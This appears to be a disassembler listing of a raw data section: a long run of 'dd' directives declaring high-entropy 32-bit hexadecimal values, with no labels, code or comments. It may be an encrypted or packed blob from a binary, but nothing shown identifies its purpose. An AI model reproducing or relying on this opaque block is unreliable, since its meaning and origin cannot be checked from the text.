		dd 71683CB8h, 9217F791h, 4E1CA9E4h, 6080E87Ch, 7EF92D40h
		dd 299B1231h, 0F48D13C7h, 12B6F02Ch, 74468C8h, 2A2F20AFh
		dd 7B76D455h, 0A52DF704h, 0D2EEBB52h, 5A6C5EDBh, 316FE913h
		dd 3B07B0B3h, 0D779F265h, 1106B93h, 13D1DC2h, 0C7169078h
		dd 0FEC83116h, 7358CFCBh, 95081000h, 70C98117h,	31147618h
		dd 404AF60Ch, 0F202F1E0h, 137F57Eh, 83B2D5CDh, 0CFBD2B30h
		dd 3D8F5E16h, 0B74161B2h, 5B70A1F8h, 4431BAC2h,	0D26B1E92h
		dd 19582C53h, 297C806Eh, 8C8FFED1h, 0C20683C7h,	981FF09Fh
		dd 36732DEAh, 9ABE3045h, 0F71B9527h, 0B6FB1F10h, 0D8403A9Fh
		dd 0B88AD3BDh, 0D8A9F7E5h, 0AC46502Bh, 0A1D02E6h, 7E916835h
		dd 722D8D6Ch, 0CA96551Ah, 0B126650h, 2D06FA4Ch,	4A63095Fh
		dd 0ABCA576Ch, 0E97CFFD2h, 5003BB4h, 57105FFDh,	0A7F8092Dh
		dd 82D7B6EFh, 0D6FE62h,	2724E281h, 55384F00h, 7CE7C8BDh
		dd 0EA2909DBh, 8EABF8E9h, 0F0FE68F5h, 98C87219h, 9EBA0B47h
		dd 277E9CBCh, 2FE90740h
		dd 88269E7Bh, 5D1FDAD7h, 0DD356909h, 57403A18h,	9B7B81ACh
		dd 0FAB35380h, 5BDA3928h, 592CD4AEh, 0F283DA80h, 0ECB08FCCh
		dd 232AE972h, 9F02F2Ch,	0DBE4D74Bh, 0E45A9F2Dh,	177FE097h
		dd 0D62CBF1Ah, 46952098h, 0C58B544Bh, 3FD3975Fh, 2C0F284Eh
		dd 31B902B4h, 0C955E2ABh, 107B51E1h, 13DEDCBFh,	0F6A91C9h
		dd 555B0226h, 33D56B89h, 78C8C8F9h, 0C3F09FE5h,	1C96299Ah
		dd 0FD771809h, 518C7280h, 4213191Eh, 6B423CE9h,	0D61C8759h
		dd 6D47E070h, 0CAA13549h, 0FABB009Eh, 85AB5873h, 8C0AC302h
		dd 0A1628954h, 0B24B68FDh, 9724F09Dh, 0CA051DD2h, 676275A0h
		dd 45D058C4h, 262306B9h, 2D95F7Bh, 0FE4617Ch, 499EA57h
		dd 0BDBF5908h, 71FAD363h, 533E153h, 0A7A148A8h,	5D5A007Dh
		dd 0F8F15A21h, 0ECABB4DDh, 503DC9DDh, 5B534CE1h, 68F5C52Eh
		dd 8CF1AB8Bh, 0EAE31338h, 27AC8B48h, 81B87CE1h,	0AA5165C5h
		dd 69A57A27h, 0EAE90803h, 9EC7FD0Ah, 60CB541Fh,	2F6CD201h
		dd 3F9959C8h, 74987A51h, 8D726414h, 7F39A17Ch, 0D64BD818h
		dd 0D85E81EAh, 0D5B296CCh, 526BE500h, 0BB534D73h, 0B75704C9h
		dd 81D3F727h, 0E8DE2Eh,	409141h, 714C92Dh, 3F74350Ch, 92F1C0Bh
		dd 0CA4F80C2h, 90AC3E3Ch, 0A4E2053Ah, 0E30A76Ah, 0A6CEA086h
		dd 670AE9C7h, 0B45719FFh, 20E09A61h, 0F897D9D4h, 0C3292F6Dh
		dd 0C82E501Ch, 539C1F2Eh, 0C2D676A7h, 0F1551A15h, 0FD14EB50h
		dd 8BC65BFh, 0D593754Bh, 9CFB81E1h, 923BFC2h, 1F246D01h
		dd 0F59680A6h, 0A799382Fh, 0F28A2FE9h, 0F34FCA0h, 31242EEDh
		dd 57C5CCC2h, 40968DEFh, 86759B7Ah, 0F25104B8h,	0FA08049Bh
		dd 9FC266D8h, 0F452E3D6h, 5789AD26h, 2A5167FDh,	0EE0B5E12h
		dd 3AE95F21h, 0C22F8B25h, 0DB44FC9Dh, 234A84FAh, 0EC36328h
		dd 4368F0AAh, 4C57424Bh, 12780944h, 91F766C2h, 53615910h
		dd 7DE80C15h, 36D9549Dh, 50671810h, 654002B5h, 402A2A68h
		dd 6E68F3C2h, 0F6F3A85Fh, 0B6E916F1h, 1065F6E4h, 54C47C8Ah
		dd 30CB65Eh, 19FD3057h,	0ED33A705h, 0F7B00920h,	0D2781059h
		dd 3FC15F4Eh, 0BF05437Ah, 2541C20Fh, 66AC512Ah,	3947C89Eh
		dd 0A0FE142Dh, 81620DA6h, 2D707057h, 617C5C74h,	0F912ED4Eh
		dd 6653EA8h, 0B0758108h, 0CF291190h, 1E5ADA30h,	947C549h
		dd 87815EF7h, 6A2D99C7h, 0C0E81AA1h, 0CC4509C6h, 0C4E258E9h
		dd 72AF765Fh, 0C2E4CA7Dh, 0B5E6D0DFh, 6FBFBB4Ch, 0C4CC923Ah
		dd 0DA8182B6h, 0AAA3EC85h, 71D20CA2h, 0A79DD6CFh, 39C706Fh
		dd 472C5BD8h, 0E76EC04h, 7CB17FE9h, 2C2AB72Fh, 86B94850h
		dd 6B62E9CBh, 8E6C9548h, 3F7B6817h, 3D059FCDh, 8612B9FCh
		dd 0D1692819h, 5FDDEA5Dh, 0E26A6DE1h, 0FD4CB1F2h, 0D788FE8Eh
		dd 1140DBE9h, 0D52CF75Ah, 0F5013CD1h, 68275FAAh, 5391833Eh
		dd 3235FDA9h, 481820CFh, 4C04C855h, 0B15D3E9Fh,	22E07B8Ah
		dd 0CF990417h, 82EF89BAh, 12F52BD2h, 0E4B480BAh, 714A5431h
		dd 0C46EDF4Dh, 0C0325D65h, 0F6ABE777h, 0A2F0875Eh, 0A8C64B83h
		dd 0F156E22Ah, 3ECA623Bh, 0E9825D0Bh, 5B055645h, 19E3B224h
		dd 13078B4Bh, 6CA68E01h, 65320093h, 0F7606D20h,	5F34DB58h
		dd 971948E9h, 30803A87h, 0C1B7C0F8h, 1828107Fh,	0C6F2D02h
		dd 6B763E91h, 1E052038h, 0C46D6F7h, 0EA79C317h,	6D3E6F0Bh
		dd 0E6450053h, 0C40D6A33h, 0FC042619h, 20F9045Dh, 44BF133Fh
		dd 0BA786B4h, 1ACAF752h, 0F3DFE17Dh, 1FCC9A5h, 4E80E978h
		dd 81EABC45h, 8217DBF1h, 289C002Eh, 0E9D66171h,	4E41FA26h
		dd 981774CAh, 20DC0BA5h, 9594B021h, 95576C41h, 3BC644E4h
		dd 60E0A5F3h, 0E54E96E4h, 0E7752EFDh, 24D0DD2Bh, 5F707DF4h
		dd 533E5EB5h, 517BF1F1h, 106746D7h, 2D416DF3h, 4A437A2Ch
		dd 0D5B40FF3h, 0B4900640h, 0CF5C8DB1h, 46AC27A6h, 374220AAh
		dd 0DD0CB3A0h, 0B7C32880h, 81E2FB76h, 0B5F07DEFh, 4C1AE912h
		dd 92E623ECh, 0C650DE12h, 0E9DA1D02h, 0F97FCF0h, 0C58740BEh
		dd 3589AE3Ch, 0E47ABE2Ch, 0A6A17B9Ah, 0C3052FEDh, 34ABEED2h
		dd 0EAB3BE61h, 0F32FD74Ch, 55C25693h, 0AC0320D8h, 0B753D830h
		dd 855BD979h, 13B48C7Fh, 1EBBC440h, 2C0A215Fh, 7BF000F7h
		dd 0C689688Fh, 0F878E926h, 8F6F2ABCh, 0F964B8F4h, 0E1EFBB6Eh
		dd 330C309Fh, 67DD519Fh, 6609E202h, 969FCDFEh, 61269CC9h
		dd 37A53CA4h, 4EBFE5A0h, 2B48CB21h, 1B67404Fh, 0CEFE00FBh
		dd 1C2DB0C0h, 0FB32E680h, 0D2E9821Fh, 20D72910h, 929F2186h
		dd 0FDD90919h, 0FE88BB2Ch, 3AAF3017h, 0F76DC7EAh, 2C68D0BBh
		dd 3FFFEDE9h, 8A04AEE3h, 0EE08D804h, 61901D85h,	4A6E7E56h
		dd 130FA812h, 57E83975h, 944BBC7h, 4B357B75h, 56E60BFFh
		dd 4097549Fh, 2678E129h, 1C353E6Dh, 0FEE9464Bh,	0E207F515h
		dd 5B0F27F3h, 4050D2F2h, 50244154h, 7045FA56h, 1E569736h
		dd 0A0E7E978h, 13ECC325h, 0F543FD08h, 1C0806DBh, 14C65497h
		dd 0B200A058h, 45492370h, 4A969FE9h, 0A11611ACh, 0FB688780h
		dd 674CB61Dh, 38264253h, 31D8F9C0h, 0C11FDC25h,	408B93A0h
		dd 46F1E688h, 0F0305B40h, 0CAE37E9h, 3AE5F067h,	277C4206h
		dd 0F490CF2Dh, 955E9F8h, 1E167536h, 3C4B26C1h, 1C703885h
		dd 0BAF1BDCBh, 2FD1B688h, 0C79D3B9Eh, 0CF9AD59h, 5C287862h
		dd 1A2B618Eh, 6875D20Fh, 0CBA773ECh, 0CC84C27Dh, 0DD44FF3Eh
		dd 4182F7E2h, 45EC5F51h, 3D685915h, 3E164CAAh, 99AF4E41h
		dd 2ED8F13Dh, 91B08602h, 4CB08266h, 3F420B89h, 880B67FFh
		dd 0CC373B5Dh, 0C12258C2h, 0FC7EEEE3h, 8CBE4E61h, 1BF2E98Bh
		dd 0C73875B2h, 19F83D64h, 5C145ACEh, 0B4B6AC7Ah, 0E9FD2CFBh
		dd 4D485113h, 0BB4F08F8h, 0BB049340h, 0D201E3A0h, 3B29BB9Ch
		dd 0F0A85D44h, 6EEC5F25h, 3DB5820h, 0DF7B951h, 3BD95CFAh
		dd 5742286h, 6C27B87Dh,	77F961B1h, 84FBD655h, 3FA882A9h
		dd 924B1DDh, 0BF25037Ch, 0DF17B2DDh, 0FE985A50h, 0B6C12940h
		dd 3AE309F3h, 8E84419Ah, 89A7D1C8h, 0A03328CBh,	135F0EB8h
		dd 0E3312FD8h, 9E8921Ah, 8521F401h, 0B92D4852h,	8E01F5A7h
		dd 0E94D6F4Ch, 957893F9h, 25308CC4h, 0AD30E1AAh, 3C06570Ch
		dd 0E6090E5Fh, 688C58h,	1D75FF00h, 0DA3158B0h, 0F395CE12h
		dd 6C9DC5BDh, 31753621h, 0EED73507h, 8786250Eh,	0F5CB3C15h
		dd 0C904F98Bh, 4E6BDD0h, 0CB239EEAh, 44DA3AC3h,	4AF20830h
		dd 25E78B5Eh, 0FC1E5811h, 4E56B534h, 13E5DCF2h,	0BAB28563h
		dd 68C72EE6h, 1B9C49A2h, 0E90B78B6h, 4B7D097Fh,	16B4C734h
		dd 6C5F44AFh, 0D5BB006Ah, 0D359183Dh, 58C449E8h, 40666DFh
		dd 0E917B252h, 25E3B8AAh, 360C2C05h, 0B02B409Ah, 28343900h
		dd 0C8FE6E24h, 0C0D009F6h, 87DA06E0h, 0DE895220h, 136A09C5h
		dd 0C05216D4h, 8587D36h, 76DDE91Bh, 8F135612h, 0FAC784BBh
		dd 3CD4A1C4h, 2708C2EFh, 0E8F348D5h, 54859F0Ch,	2F29E18Ah
		dd 0D6A10BADh, 0C0EE048Ch, 30F1F5A2h, 99BEE84Bh, 802CA6DEh
		dd 0ABE95302h, 41D74AB0h, 5E038BC8h, 0BC0481EBh, 3CCD2DEFh
		dd 87F501C2h, 44F45B07h, 0C7D4A0ECh, 0C6211081h, 28B62133h
		dd 67AF5FEFh, 1706D2C7h, 7C7B13C8h, 1A4367B5h, 0A78E37CAh
		dd 1275F3B7h, 64E35D0Dh, 8B1AAD93h, 4D9BD843h, 0EBC9815Ah
		dd 0B5E9785Dh, 0A31C1F0h, 0D589A8EFh, 0C12CA660h, 0F832F529h
		dd 0BCB16005h, 24AE464Eh, 0A90186F3h, 9CFEC74Eh, 0E27AF95h
		dd 0C3EC5DFFh
		dd 8C94769Fh, 0BA72EE73h, 1C6D2600h, 0F7F28766h, 4208C1DEh
		dd 54AD96E9h, 14CAAEC4h, 0AA1BF240h, 0CB80779Bh, 259C4E6h
		dd 332C2F7Eh, 0C68F0B8Fh, 0C2F80934h, 44625766h, 0D7AEB1FDh
		dd 0EF30AF3Ah, 0B5B655D8h, 0EF227744h, 87F10582h, 8044A335h
		dd 10F2AB04h, 2618205Bh, 0D415E955h, 8C056C2Fh,	0AEDDC053h
		dd 8D662704h, 126FA3FAh, 77BB394Eh, 0A041B43Dh,	0A14B2C34h
		dd 187EB6A1h, 14C9327Ch, 0E59C7F82h, 0F9B07CF2h, 38893FFBh
		dd 0BB5435ECh, 2F810580h, 0C51581ABh, 0B6D103C9h, 6A0C27D2h
		dd 0E1062150h, 5B221B59h, 6D960A0Ch, 1811AB4h, 24F32EDh
		dd 5BD29251h, 0FA3A423Dh, 1FE95261h, 33318168h,	2AA32DE7h
		dd 17D0D0FCh, 58E9E28Ch, 8FD3CDB5h, 0B4C98C2Dh,	49DD7C85h
		dd 0F30464A6h, 166DA702h, 0A90B5551h, 363CF526h, 0E962B094h
		dd 4B52CCh, 66D74EEh, 55D60102h, 29A6BD05h, 2AFC5BA2h
		dd 41549050h, 5F13F84Bh, 0F33ED024h, 4143EF1Ah,	93196DCh
		dd 95988F60h, 59AF1ED3h, 8B4C8E1h, 0B8016AE1h, 6D9ADFD9h
		dd 29980E7Ah, 3B25CBFFh, 0A25850CAh, 89442F30h,	0D483A10h
		dd 0CED817Bh, 936280Dh,	55775A68h, 2906F916h, 0AFFAE9F7h
		dd 0F9EA5EB9h, 165F3EFEh, 70FF6DF0h, 5671CAEEh,	0E9226C05h
		dd 3CEE49DFh, 29943E27h, 2806073Eh, 66402CF8h, 0F0D8B652h
		dd 5AF29DF0h, 0F4D0B327h, 81048A53h, 2CA0C893h,	4577A768h
		dd 6E354D96h, 0E9C309ACh, 8870F21Dh, 3036F148h,	6D35B2EDh
		dd 4D612E11h, 99660892h, 0E4EE210Eh, 30FE2344h,	1468570Ch
		dd 0B0260CBEh, 78D07513h, 7BDA07E6h, 541B597Bh,	4955562Bh
		dd 20C21677h, 801C3FFBh, 0E3C7B4EBh, 737C0B2h, 681FC391h
		dd 11730ACDh, 0E9DC8803h, 365AF9A0h, 0B2EEE874h, 7E2E1215h
		dd 520F72EAh, 539FAFDh,	57A2EF81h, 0CFCEC0EDh, 4F302AB6h
		dd 1F28184Eh, 8E4450E7h, 0D8F78029h, 0DB360504h, 0B0FA7BF6h
		dd 39E7119h, 0D29AD527h, 0F6E89304h, 1F7810DAh,	0ECC10117h
		dd 7A03B22Ch, 0E5ED5AA9h, 4E2E78EAh, 507F02AFh,	0B4412DB8h
		dd 83436576h, 924651AAh, 0AB6FCF7Ah, 0D1532A49h, 7571BB09h
		dd 0E4CFB1F9h, 4DF35C3Ch, 25C7CC10h, 2FF6CE89h,	14D1F801h
		dd 1826146Eh, 51EF6F2Eh, 285E1DB5h, 885980EFh, 0EEC05BFEh
		dd 12E90509h, 161D13DBh, 0AF4AFCB6h, 319CEE1Fh,	5379A5E4h
		dd 0D72ABA2Fh, 0CCBB5301h, 7A336FA7h, 0BF4E82F8h, 0B82ED46Dh
		dd 0E95BB035h, 0EB8B69Bh, 271102BBh, 8A09D5BDh,	42BD987Fh
		dd 0D95E9737h, 0B9B565CFh, 8D9926EFh, 20B256F6h, 0D090CB9Ah
		dd 12FD5F35h, 103EC2BAh, 0EE0243E4h, 1CAB6E42h,	0E9545F4Eh
		dd 517ECE00h, 4AE90657h, 52890F8Bh, 1928BF00h, 810E5C8Fh
		dd 0F7103F7h, 10AA942Eh, 0FD418669h, 0F2089CF8h, 260CC272h
		dd 48501473h, 0FBBB701h, 0D08EE912h, 85285125h,	0F8BD6CB6h
		dd 29210B2Bh, 8DD5FF8h,	2D010AB9h, 49BE6AF7h, 0E3CB176Fh
		dd 0EB241B5Ah, 0EA9610B2h, 0BE5B82h, 69B2F66Dh,	0EBB78748h
		dd 32059802h, 58E62515h, 77A5B665h, 6193FE4Fh, 5EB09D13h
		dd 1E950DBFh, 2FB7EB74h, 0FC9750E9h, 0E6F0963Bh, 3D6A2D1Ah
		dd 62E9C260h, 0F766CB07h, 0A67492DAh, 2D2DF0BDh, 0CC0ACCD1h
		dd 5240E41Dh, 5C865DB2h, 1A2779FAh, 6841BFE5h, 312F216Eh
		dd 3A09A03Fh, 16445B8Dh, 0E019F52h, 0A9ECE01Ah,	4A3D2FEh
		dd 68E4778Ah, 0D201EFF7h, 36B43A2Eh, 0AB6FC282h, 627D9A60h
		dd 4BD2D5F7h, 42786825h, 0EE747792h, 8C5C5A5Ch,	745D6814h
		dd 86654E2Fh, 0D13FC9AAh, 0D69A7DE3h, 277E19ACh, 0B07DAFB0h
		dd 0C9E8E259h, 74835FE6h, 41CB2091h, 75A6B3E1h,	5168FC9Eh
		dd 0DE8F6E5Ch, 0D1609F0Bh, 434E80A8h, 16E902F5h, 6796DCh
		dd 4244C689h, 3C3B910Ch, 61EF6601h, 30F2292Bh, 0EE952540h
		dd 0B450010Bh, 58E788C0h, 0FAAF30D0h, 9BDD315Fh, 0D3E92FFAh
		dd 3355F15Fh, 0DFC1FAC6h, 2D663803h, 0A02D4531h, 4CF902D9h
		dd 0CF012986h, 6E5D6560h, 17C3A054h, 224B201Dh,	6204CB81h
		dd 0C8D1D57h, 82E4105Eh, 864E7B24h, 31F0D7E9h, 3F21681Ch
		dd 0F69CDD25h, 7C6893A8h, 0F2CC2B4Ah, 3C125B49h, 985BE9A2h
		dd 0C3B8D216h, 4BCF593Ch, 15915CCDh, 1147EC54h,	0A7CC7BB7h
		dd 4380967Dh, 0C9BF13EAh, 0BB6F36BFh, 2D1374F6h, 0C20E1D4Dh
		dd 2B1E80CEh, 0E5C1E5D1h, 1C84CB38h, 75214C3h, 217B2D59h
		dd 16428DBEh, 2DE72343h, 275C31BEh, 0FB09559Ch,	0DDE8B01Fh
		dd 6A9495E0h, 0DE77FEE9h, 3D7DE2E5h, 881FD65Dh,	0B509B669h
		dd 1FC4C9C1h, 6064F03Ah, 9BE7E40h, 4D065172h, 0EB0B69D4h
		dd 0D1C130AFh, 1C29C219h, 0CB420B88h, 1451DAC0h, 17CCBF80h
		dd 0EB664779h, 38F09A44h, 9291313h, 7A29635Dh, 5F8FB07Fh
		dd 6B53813Eh, 42016BC0h, 59744860h, 0C853212Eh,	8D5832E0h
		dd 687DE1F8h, 0B4E4717h, 11F84542h, 0AFA2E075h,	55B88040h
		dd 13204C00h, 0E810ED2Dh, 4B409FD5h, 0FF5FE983h, 0A7487DA3h
		dd 30ACC15Eh, 83A83FF9h, 5D29EF92h, 7773D82Bh, 2CEAA75Ah
		dd 0B109BDC6h, 0F5C55D12h, 8E09CDD1h, 6A63C9F3h, 0B727D043h
		dd 3FBEC3C0h, 0FE5ED7E7h, 68013182h, 0B405B64Ah, 0E6684171h
		dd 286C7B0Fh, 0A00B4C08h, 0DD33FFD2h, 16660B56h, 0B9FE1B1Eh
		dd 7582BB83h, 0DE01F141h, 81B88130h, 7DA22A5Eh,	0CAEE3DC4h
		dd 24A0589Eh, 0B70E62F4h, 6E726C0h, 2D077D06h, 307E9497h
		dd 3FFA3963h, 800FD010h, 9C4646E1h, 0BE04482Eh,	3D673F77h
		dd 2E759CF8h, 3310F65h,	427424DBh, 1E3E2E10h, 72F3017Ch
		dd 29C57E89h, 6FDFF5D9h, 0FCBDA516h, 96FB1D19h,	344DF957h
		dd 0A41EB790h, 753CBB1h, 10B29840h, 0B45AD188h,	0A0B06048h
		dd 803E8C0h, 0B368C8FEh, 0C9ED127Fh, 0C534F8ABh, 8928B51Ch
		dd 7AC7042Dh, 91503AB0h, 0AED0F7D6h, 0E25BB10Bh, 85A254F0h
		dd 0AF614252h, 1D702304h, 4D6E0A1Fh, 0D3F707F7h, 2FED3A53h
		dd 7309E350h, 0F717452h, 0DF0A6268h, 0FF4C705Dh, 28FAEACCh
		dd 0B7EEEF80h, 5D69005Eh, 0F78E1359h, 4B686FF1h, 8DF0D329h
		dd 2A9EE562h, 76BEA180h, 613B48CEh, 544B8502h, 0E2755505h
		dd 0BDC75D2h, 9F68C258h, 62229C27h, 1EDE5B53h, 0B300762h
		dd 0AA1DC202h, 0F2F4630Bh, 98B15A72h, 0A14F2D86h, 5920DDDAh
		dd 0C1801C01h, 6FCE1EC5h, 5D0E5C5Eh, 7CE9E128h,	0AD32FFFDh
		dd 0FBE06817h, 0B50FD660h, 0D61F6141h, 603853B1h, 0F009C960h
		dd 5A6CF34Bh, 7F482059h, 0B2FDA097h, 162A3D17h,	3309E568h
		dd 5848F766h, 9FE70148h, 4F542B2Ah, 2298470h, 0E90D08C9h
		dd 7D792CEAh, 5CC35E44h, 5CFB3E77h, 641096FFh, 49DD805Dh
		dd 50E4BF46h, 2CDC86C0h, 174F5A0Bh, 1647D7F7h, 2B45EB2h
		dd 0E93A8F77h, 311F0077h, 0C14E58C6h, 142739E8h, 0F6E46B3Bh
		dd 0B7294A12h, 3D6A5006h, 483A3CBFh, 0ED13B9F6h, 80A8B21Fh
		dd 4C2AD8EFh, 5CD9806h,	0A9F96121h, 322EB31h, 581B7956h
		dd 65BBC201h, 0A286885h, 4386CABAh, 13CB125Fh, 5860C8EFh
		dd 898E1958h, 0FD8B7FFCh, 0F8F989F5h, 66B107C2h, 0A503E1C0h
		dd 1A53AE23h, 795F09FFh, 0EA425004h, 209BB161h,	0E273DDC2h
		dd 550EE909h, 171222F2h, 0AD0F6651h, 0B5D0A4D6h, 0B48977EEh
		dd 26F6B8C4h, 6861E65Ch, 2B231A39h, 2FA503Ch, 58573D2Bh
		dd 7454AAE9h, 0A3EB5912h, 10E7D72h, 0C009A56Ah,	36634CC1h
		dd 60F2F55Eh, 2530AEF2h
		dd 875A1899h, 0AD6C053Ch, 15B3D789h, 3F243C41h,	6F114AE6h
		dd 53C26745h, 94200790h, 9851E25Bh, 7A6F273Fh, 0D60E7256h
		dd 0E2BA1334h, 2580D1E5h, 0B31CFD34h, 4D0CDCA1h, 7AA462AFh
		dd 68160761h, 0F7387198h, 0F77FA3C1h, 0DAA16B11h, 0C0C0242Fh
		dd 94163E11h, 3951064Ch, 132B4DDDh, 2DF9EABFh, 0E94B44A4h
		dd 5FBFA085h, 1DD839Fh,	15F3D9C7h, 0A2E316ADh, 0F8FC4B73h
		dd 2CF7B8B8h, 0EFEBA32Fh, 0A3FD4DC4h, 643B7900h, 58C53173h
		dd 8D8A829Dh, 81410532h, 96B0D159h, 91AFEA49h, 4CCCD0Ah
		dd 4B664E88h, 1B5DC0Dh,	0CBAFCF4Ah, 6C02284Bh, 9280FC4Fh
		dd 2D1B8EB9h, 95F656ECh, 121DFB88h, 0C463014Dh,	292E016Dh
		dd 4506734Fh, 29205076h, 80DEE6B4h, 5E1E71BDh, 0C0894240h
		dd 43C17991h, 1624D57Eh, 37877ED3h, 7799FEE2h, 812035CEh
		dd 4EA0096Ch, 3CFE786Ah, 9A240CE8h, 25AB1017h, 0CF00C60h
		dd 0C93C8057h, 2AFD101Fh, 96475C29h, 8B1F4F2Eh,	532DBA53h
		dd 0AF96A379h, 885A428Bh, 7BB55ADCh, 0A07BCA3Fh, 49D501A8h
		dd 6AE9137Ch, 7E9C3B44h, 0BF6540C8h, 7D5D4C09h,	14B40003h
		dd 971187Bh, 43E3D15Bh,	77C1E48Eh, 70095FF6h, 83409066h
		dd 8723975Ah, 0A9CFDFE0h, 0FE9796F5h, 4A2DFD81h, 0A23B7702h
		dd 8F72953h, 59180860h,	52DD71Eh, 0BE921A7h, 0A9CCEB99h
		dd 0AEC45A4Dh, 37484F2Ah, 6BC0FA4Ah, 0A9E888E9h, 52102CFBh
		dd 54794E47h, 3FECFD58h, 8EF94EF5h, 93685CB0h, 0BFAD4D5Bh
		dd 0EF5D5084h, 0E90974E2h, 0A5F443F8h, 7C208E60h, 74292444h
		dd 50CC827h, 0AD2E0AE9h, 84558BA0h, 8001F449h, 7028C3EAh
		dd 0F4EBC2A8h, 1AC379DFh, 0BBA0BF5Bh, 0BE94D436h, 2DB4CD80h
		dd 947E6929h, 47933A0Eh, 75515C1Ah, 5C66FFCFh, 5F32022h
		dd 96D1213Bh, 3B22C987h, 4E49F92Ch, 145502A9h, 20E2B041h
		dd 36C27348h, 0DD06F2E9h, 0A2A570A3h, 0C5C7CD1Fh, 4AEA3C95h
		dd 0F6592BA3h, 1FFE422Ch, 709007D6h, 10F2704Ah,	7F5B4BADh
		dd 419253E0h, 75F1F444h, 267A3E37h, 0C1510D60h,	8589517Ch
		dd 0D7604E65h, 30BA80ECh, 0B6F3F18h, 433D952h, 94E9484Eh
		dd 742CEE66h, 6740FC53h, 72E51D7Eh, 9C465FF4h, 870B4AB8h
		dd 80118D0Eh, 0A66FA0DFh, 0FD60BF45h, 1C5FE46Dh, 0FF28EEB1h
		dd 0E8D1F713h, 0E49CCC4h, 3C9E1A5Eh, 7C55F66Bh,	7BA53D78h
		dd 0A9B72183h, 0E2CAC7BAh, 58CB8D80h, 7C7C6F56h, 9E166AE7h
		dd 0BE3D16EAh, 43BA6B00h, 5F1F130Dh, 0F0328431h, 7019EAE2h
		dd 0C14450E5h, 515A0741h, 0BCA49D28h, 7033580h,	0AC3088AFh
		dd 12262C3Ch, 0FB71EC39h, 322F426Fh, 51D07F01h,	21E9B4BEh
		dd 0D64AE947h, 0A4FF342Ah, 0FE25887Eh, 0E933E8C8h, 0ABED4DE1h
		dd 0EBF8C413h, 880351A3h, 221CE9E6h, 7FBE5C25h,	8105E760h
		dd 25FE2F1Dh, 7352EF40h, 4A2CE967h, 466B5C0h, 0CEB8AF81h
		dd 0BD425B28h, 3820004Ch, 1E6190CEh, 892E7848h,	4B5A0CD8h
		dd 0DD0AF303h, 0A229CDBBh, 0B578FD5Bh, 0C96B1A09h, 6189D54Ch
		dd 0E3D6595Dh, 0DA5EDEF4h, 0EB35B0A2h, 0DF52F912h, 92F6A90Fh
		dd 215A64FFh, 24869B4h,	0F1B6E34Ah, 47200C0Bh, 6BDF38E3h
		dd 98B4F2Eh, 0C5FFB9A2h, 0BC68873Fh, 0C7DD0B39h, 0C442401h
		dd 50F71020h, 89703EEh,	6B8850DBh, 0FB0227E8h, 1EF749D6h
		dd 4EF2FADBh, 7E8CBEFEh, 0BE294E66h, 760CA149h,	79FB827Bh
		dd 773F5Ch, 0CBBA521Bh,	3222246Ah, 2AD703E0h, 0FFE17203h
		dd 49F23A04h, 0EAF101D2h, 203EB435h, 9A2DE985h,	52A9D67Fh
		dd 4DED955h, 0D8AB22E9h, 7317B5DEh, 529668Fh, 0C6B40C04h
		dd 0AD0F4FD2h, 4EF8D445h, 5755F44h, 0B3100513h,	85ACBD6Bh
		dd 0E1B35196h, 0E2355613h, 5F469654h, 41D1FA5h,	0DB5267EFh
		dd 0B15CC04Ch, 181A4A1Eh, 0A1CD729h, 813D0C08h,	0E9225C4Bh
		dd 62352EF1h, 20FAE17Fh, 3F5AC1FFh, 0FB92BA31h,	9DEA8100h
		dd 0C38DA418h, 256C2B62h, 80DD3020h, 376F09D4h,	207F9568h
		dd 3F4005CBh, 0B9FE011Ah, 79B842BEh, 7F7E3131h,	7CFF2B52h
		dd 0D035E918h, 45134CFEh, 0A0085809h, 52B33498h, 0E3B00B50h
		dd 0C1F71AB6h, 0C43BBEFFh, 3F29FFABh, 2B26CB02h, 6861B8DCh
		dd 0E3632850h, 42D7E90Bh, 0BFF145DDh, 1D0BDE18h, 1E18D3F7h
		dd 6F0C12B1h, 2EBD2745h, 0AA98B400h, 64B8A179h,	2338F802h
		dd 62FD2978h, 0E9080109h, 4C85F7DDh, 0C25BFA88h, 7155CDB1h
		dd 109BA6E5h, 0A4BF00F8h, 4753CF67h, 33E72A68h,	0EC554E4Bh
		dd 773BDA8Fh, 50F2D1DCh, 27C40B59h, 148326B0h, 0AC35422h
		dd 2E5DEAF1h, 6BC452D4h, 6A7BF1AAh, 0E916C1FCh,	0FD85576Ch
		dd 78EDB481h, 0D584EAD4h, 4F8CFEBBh, 0B7039A64h, 291D208h
		dd 0D16EF476h, 982E83D6h, 0F45453C2h, 1B104C4Fh, 3CAB980h
		dd 0F769AE6Fh, 46E941D9h, 861AA17Ch, 16FE555Ah,	0C01A5F5Ah
		dd 2C447080h, 83BD310Dh, 5EE05759h, 0A6ADC8B6h,	5997E479h
		dd 2DFBE7BAh, 5AD7C01Eh, 27D1509Fh, 147F7427h, 0BF944BF9h
		dd 86820A27h, 0ABDBFD59h, 4B496887h, 58E57F09h,	7B39C101h
		dd 70612EE2h, 0CC91BD6Eh, 251A6852h, 0F8F9FEDFh, 0AC7A2D51h
		dd 0DE909E7h, 938F5421h, 6FABB11Eh, 0EE4B37CAh,	49E93728h
		dd 0EB5FDEF6h, 2DAAF575h, 3CF36EAEh, 0C048E913h, 0FD8955F1h
		dd 5F176694h, 226F8001h, 0E23F1BBAh, 0D1870CF2h, 9053064Ah
		dd 276AEE43h, 1D7E2AD5h, 27287008h, 943F7B74h, 13876927h
		dd 28FE438Dh, 0FC41BF56h, 16D7F82Ah, 22D1DF29h,	80D0B556h
		dd 4F487DC5h, 0FB90C5BBh, 88768EB6h, 0B7A2DB03h, 0D359145Ch
		dd 0E98BF07Eh, 0F8876A24h, 2F4D5687h, 0C1D7F780h, 680809E7h
		dd 7DD910FEh, 6469A282h, 171DF47Bh, 4B195D96h, 0C226DACDh
		dd 0C5607C51h, 0BDB35311h, 5F5E7AB6h, 7635FEB5h, 0AE21F82h
		dd 9E7DAD90h, 923EFE98h, 998980DAh, 41639151h, 2FD0215Eh
		dd 0C79E29FAh, 801C2EF6h, 0F6CF5AEEh, 8AED66E5h, 0B4BE1F16h
		dd 0D1097965h, 20574EE6h, 32DDF649h, 176AE5F7h,	40878DC0h
		dd 5C10AD27h, 5400E4Ch,	6150173Bh, 2C3FE6BCh, 0D6685A61h
		dd 0DDA23E5Eh, 9DB7BB93h, 9E8AE90Dh, 9E82834h, 8E7759B8h
		dd 0B197FFCDh, 9CBAFA43h, 6839B831h, 3B176571h,	187D097h
		dd 53A45FFBh, 0B15B12FCh, 2E312DBFh, 1A136BDh, 8FFC3AE8h
		dd 0F6ECACA4h, 0FDE92F2Dh, 6C1CE9Bh, 5C75C22Bh,	6DF8DAD8h
